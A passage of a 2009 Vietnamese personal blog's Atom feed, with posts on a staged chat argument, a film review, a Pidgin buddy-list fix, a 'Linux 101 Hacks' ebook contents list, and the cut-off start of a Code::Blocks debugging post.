href='http://cb.bkitsec.vn/2009/10/dot-qua.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8345426352078046039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8345426352078046039'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/10/dot-qua.html' title='Dốt quá !'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-933849546843673264</id><published>2009-10-26T19:12:00.005+07:00</published><updated>2009-10-26T19:27:27.898+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social'/><title type='text'>Đểu ???</title><content type='html'>Nhìn Yahoo status của con bạn cũ "Đời là ..." , đại loại là thái độ oán trách, hờn giận. Nhảy vào :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: Đời là thế lào ?&lt;br /&gt;X-Girl: doi chi toan nhung thang deu~&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:&lt;br /&gt;X-Girl: mi cuoi thi di cho khac ma cuoi&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mất dạy thật, tội người cha nào có con gái như thế&lt;br /&gt;X-Girl: uk&lt;br /&gt;X-Girl: tao vay do&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: thèn nào ko chịu chịu trách nhiệm hử&lt;br /&gt;X-Girl: deu voi trach nhiem co lien quan gi nhau&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: thiếu trách nhiệm thì sinh ra đểu ấy&lt;br /&gt;X-Girl: zay ha&lt;br /&gt;X-Girl: co le dieu do dung voi mi&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: với ta&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mi mới là người hình dung ra chữ đểu mà&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: nếu ko biết thì đừng dùng, đúng sai chi ?&lt;br /&gt;X-Girl: ta ko hinh dung&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: vậy sao mi nói đểu ?&lt;br /&gt;X-Girl: ta biet&lt;br /&gt;X-Girl: chu viec gi phai hinh dung&lt;br /&gt;X-Girl: ma thoi&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: như thế nào&lt;br /&gt;X-Girl: ke ta&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: biết ?&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:&lt;br /&gt;X-Girl: mi dung co nc kieu do&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mi ghi đụng chạm tới ta, tới bọn đàn ông mà kệ mi à ?&lt;br /&gt;X-Girl: mi chua phai la dan ong&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: hay nhỉ, ta là đàn ông hay ko thì do 1 lời của mi quyết à&lt;br /&gt;X-Girl: uk&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: nghe mà thấy vl ấy&lt;br /&gt;X-Girl: uk&lt;br /&gt;X-Girl: mi bua ni cung noi vl nhi~&lt;br /&gt;X-Girl: kinh&lt;br /&gt;xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:&lt;br /&gt;X-Girl: dung la o sg co khac&lt;br /&gt;X-Girl: tahy doi nhieu that&lt;br /&gt;X-Girl: pp mi&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nhìn đoạn trên cũng hiểu. Sao trên đời nhiều người cứ bực tức gì, hờn giận ai hay là buồn buồn là lôi đời, lôi "bọn" này nọ ra xỉa, mà không chịu nghĩ vì sao mình lại thành ra vậy. Không phải ai cũng có thể chịu sự quơ đũa cả nắm, chịu cái vô lí quái ác từ nàng&lt;br /&gt;&lt;br /&gt;P/S : Đoạn thoại trên mình chỉ fuzzing vậy thôi, không phải thực sự là mình :) .&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-933849546843673264?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/933849546843673264/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/10/eu.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/933849546843673264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/933849546843673264'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/10/eu.html' title='Đểu ???'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-3647951671665549759</id><published>2009-10-26T00:36:00.003+07:00</published><updated>2009-10-26T00:56:19.555+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='love'/><title type='text'>500 day of Summer ! For what ?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_mMaWcZ9ESZI/SuSRJvNcgLI/AAAAAAAAAAw/nFc-OjdeXog/s1600-h/500DaysPoster.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 207px; height: 320px;" src="http://1.bp.blogspot.com/_mMaWcZ9ESZI/SuSRJvNcgLI/AAAAAAAAAAw/nFc-OjdeXog/s320/500DaysPoster.jpg" alt="" id="BLOGGER_PHOTO_ID_5396597849974407346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vừa xem xong phim "500 Day of Summer", phim này được giới thiệu là "This isn't a love story, This's a story about love " , nghe kêu nhỉ. Thèn Tom trong phim nằm trong hoàn cảnh cũng giống mình, cũng yêu, rồi kết cục chả là gì cả.&lt;br /&gt;&lt;br /&gt;Anh chàng yêu một cô , cô này lại cực kì khó hiểu nhé. Cô ả có nhận định về tình yêu là dối trá và lập gia đình là thứ gì đó không tưởng, kết cục của hôn nhân chẳng phải là ly dị đấy thôi !?? Nói chỉ là thích chàng Tom thôi, trên danh nghĩa bạn bè nhé! Nhưng chắc là do văn hóa của người Mĩ thì phải, sống với gần một năm trời . Đến khi chàng ấy nhắc đến chuyện chính - hôn nhân ... thì nàng ta lại "like u like friend" . Rồi chàng ta vật vả, không biết đi về đâu ... Một thời gian sau, gặp lại, tưởng như thái độ của cô nàng Summer tươi vui khi gặp mình như vậy là có phần nào chấp nhận rồi, nhưng ai ngờ, một thoáng nhìn, chàng ta đã thấy được chiếc nhẫn cưới trên tay nàng ??? Nào tình yêu là dối trá, nào chỉ xem tất cả là bạn đây !!!!&lt;br /&gt;&lt;br /&gt;Tiếp tục chuỗi ngày bê tha, chán ngán cuộc đời . Nhưng cũng phải đến lúc đứng lên, làm lại mọi thứ. Chàng ta học nghề mới, vùi đầu vào sách để nghiên cứu. Và vào ngày thứ 48x, hai người tình cờ gặp nhau ở chỗ mà vẫn thường hẹn hò lúc trước. Cô nàng đã sang sông, chàng ta chỉ biết ngồi, nói chuyện và cười mà thôi. Cuối cùng, vào công ty mới, ông trời cũng khéo sắp đặt để anh này không phải cô đơn .&lt;br /&gt;&lt;br /&gt;Vậy nghĩ xem, gặp Summer làm chi, 500 ngày để làm gì rồi rốt cuộc cũng bay đi ???&lt;br /&gt;&lt;br /&gt;Quyết định rồi, bến chờ thuyền làm chi khi không biết ngày trở lại !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-3647951671665549759?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/3647951671665549759/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/10/500-day-of-summer-for-what.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3647951671665549759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3647951671665549759'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/10/500-day-of-summer-for-what.html' title='500 day of Summer ! For what ?'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mMaWcZ9ESZI/SuSRJvNcgLI/AAAAAAAAAAw/nFc-OjdeXog/s72-c/500DaysPoster.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-3794159297399009497</id><published>2009-10-24T20:33:00.005+07:00</published><updated>2009-10-26T13:35:46.164+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='pidgin'/><title type='text'>Solve problem: don't show buddy list in pidgin</title><content type='html'>In other day, your pidgin program don't show buddy in byddy list, what happen ? I recent meet this problem today, after search google to find the way to solve. But nothing was found except this&lt;a href="https://bugs.launchpad.net/ubuntu/+source/pidgin/+bug/245685"&gt; link&lt;/a&gt;, from launchpad bug report center . But still have nothing. Another way ?&lt;br /&gt;&lt;br /&gt;I try to reinstall pidgin, it start and run nomally . I guess this problem occured with me because my account setting. I compare the new setting with my old setting and discover some thing different . I try to change my old setting then, when i change my account server address, this problem was solved .&lt;br /&gt;&lt;br /&gt;Change the server name by go to Accounts.Manager Accounts, choose your account, click on Modify. In tab Advance, change Pager server to &lt;span style="color: rgb(51, 51, 255);"&gt;scsa.msg.yahoo.com&lt;/span&gt; and Bingo! this problem was solved.&lt;br /&gt;&lt;br /&gt;Have fun !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-3794159297399009497?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/3794159297399009497/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/10/solve-problem-dont-show-buddy-list-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3794159297399009497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3794159297399009497'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/10/solve-problem-dont-show-buddy-list-in.html' title='Solve problem: don&apos;t show buddy list in pidgin'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-3506797166771873488</id><published>2009-10-20T22:56:00.007+07:00</published><updated>2009-10-29T19:46:19.562+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ebooks'/><title type='text'>Linux 101 hacks</title><content type='html'>Cuốn ebook này khá hay và phù hợp với người mới bắt đầu sử dụng linux, cũng là một cuốn sổ tay để tra cứu rất hữu dụng. Xuyên suốt cuốn sách Ramesh Natarajan - tác giả của The Greek the stuff blog - đã giới thiệu các lệnh thường dùng và tương ứng với từ lệnh là các "mini tutorial" rất trực quan.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102); font-style: italic;font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Table of Contents &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Introduction &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Foreword&lt;/span&gt;&lt;span style="font-style: italic;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Version&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 1: Powerful CD Command Hacks &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 1. Use CDPATH to define the base directory for cd command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 2. Use cd alias to navigate up the directory effectively &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 3. Perform mkdir and cd using a single command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 4. Use “cd -” to toggle between the last two directories&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 5. Use dirs, pushd and popd to manipulate directory stack&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 6. Use “shopt -s cdspell” to automatically correct mistyped directory names on cd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 2: Date Manipulation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 7. Set System Date and Time&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 8. Set Hardware Date and Time &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 9. Display Current Date and Time in a Specific Format&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 10. Display Past Date and Time&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 11. Display Future Date and Time&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 3: SSH Client Commands &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 12. Identify SSH Client Version&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 13. Login to Remote Host using SSH &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 14. Debug SSH Client Session &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 15. Toggle SSH Session using SSH Escape Character&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 16. SSH Session Statistics using SSH Escape Character &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 4: Essential Linux Commands&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 17. Grep Command &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 18. Find Command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 19. Suppress Standard Output and Error Message&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 20. Join Command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 21. Change the Case&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 22. Xargs Command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 23. Sort Command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 24. Uniq Command &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 25. Cut Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 26. Stat Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 27. Diff Command &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 28. Display total connect time of users  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 5: PS1, PS2, PS3, PS4 and PROMPT_COMMAND &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 29. PS1 - Default Interaction Prompt  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 30. PS2 - Continuation Interactive Prompt  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 31. PS3 - Prompt used by “select” inside shell script &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 32. PS4 - Used by “set -x” to prefix tracing output  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 33. PROMPT_COMMAND&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 6: Colorful and Functional Shell Prompt Using PS1&lt;/span&gt;&lt;span style="font-style: italic;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 34. Display username, hostname and basename of directory in the prompt  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 35. Display current time in the prompt  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 36. Display output of any command in the prompt  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 37. Change foreground color of the prompt &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 38. Change background color of the prompt  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 39. Display multiple colors in the prompt  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 40. Change the prompt color using tput  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 41. Create your own prompt using the available codes for PS1 variable &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 42. Use bash shell function inside PS1 variable  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 43. Use shell script inside PS1 variable  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 7: Archive and Compression &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 44. Zip command basics  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 45. Advanced compression using zip command.  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 46. Password Protection of Zip files  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 47. Validate a zip archive  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 48. Tar Command Basics &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 49. Combine gzip, bzip2 with tar &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 8: Command Line History  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 50. Display TIMESTAMP in history using HISTTIMEFORMAT  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 51. Search the history using Control+R  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 52. Repeat previous command quickly using 4 different methods&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 53. Execute a specific command from history  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 54. Execute previous command that starts with a specific word&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 55. Control the total number of lines in the history using &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;HISTSIZE  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 56. Change the history file name using HISTFILE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 57. Eliminate the continuous repeated entry from history using &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;HISTCONTROL  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 58. Erase duplicates across the whole history using &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;HISTCONTROL  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 59. Force history not to remember a particular command using &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;HISTCONTROL  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 60. Clear all the previous history using option -c  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 61. Substitute words from history commands  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 62. Substitute a specific argument for a specific command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 63. Disable the usage of history using HISTSIZE  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 64. Ignore specific commands from the history using HISTIGNORE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 9: System Administration Tasks  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 65. Partition using fdisk  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 66. Format a partition using mke2fsk  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 67. Mount the partition &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 68. Fine tune the partition using tune2fs  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 69. Create a swap file system.  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 70. Create a new user &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 71. Create a new group and assign to an user  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 72. Setup SSH passwordless login in OpenSSH  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 73. Use ssh-copy-id along with ssh-agent  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 74. Crontab &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 75. Safe Reboot Of Linux Using Magic SysRq Key &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 10: Apachectl and Httpd Examples  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 76. Pass different httpd.conf filename to apachectl  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 77. Use a temporary DocumentRoot without modifying httpd.conf  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 78. Increase the Log Level temporarily  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 79. Display the modules inside Apache &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 80. Show all accepted directives inside httpd.conf &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 81. Validate the httpd.conf after making changes &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 82. Display the httpd build parameters  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 83. Load a specific module only on demand  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 11: Bash Scripting  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 84. Execution Sequence of .bash_* files  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 85. How to generate random number in bash shell &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 86. Debug a shell script &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 87. Quoting &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 88. Read data file fields inside a shell script  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Chapter 12: System Monitoring and Performance  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 89. Free command &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 90. Top Command &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 91. Ps Command &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 92. Df Command &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 93. Kill Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 94. Du Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 95. lsof commands&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 96. Sar Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 97. vmstat Command &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 98. Netstat Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 99. Sysctl Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 100. Nice Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hack 101. Renice Command  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;12 Amazing and Essential Linux Books &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Extended Reading  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Your Feedback and Support  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Subscribe to TGS  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Contact TGS  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://12a1nhc.com/Crazy_boy/linux/Ebooks/Linux-101-Hacks.pdf"&gt;Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Trong quá trình sử dụng sách, nếu có gì thắc mắc bạn có thể liên hệ trực tiếp với tác giả hoặc liên hệ với tôi qua email : heart2heart.it (at) gmail (dot) com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-3506797166771873488?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/3506797166771873488/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/10/linux-101-hacks.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3506797166771873488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3506797166771873488'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/10/linux-101-hacks.html' title='Linux 101 hacks'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-194543624692441433</id><published>2009-10-14T17:11:00.004+07:00</published><updated>2009-10-14T17:39:01.002+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Debug'/><title type='text'>Debug with Code::Block</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Làm cái ass, kiếm cách debug bằng code::block ra thằng này, mọi người ai quan tâm thì tham khảo :-D&lt;/span&gt;&lt;br /&gt;&lt;table id="toc" class="toc" 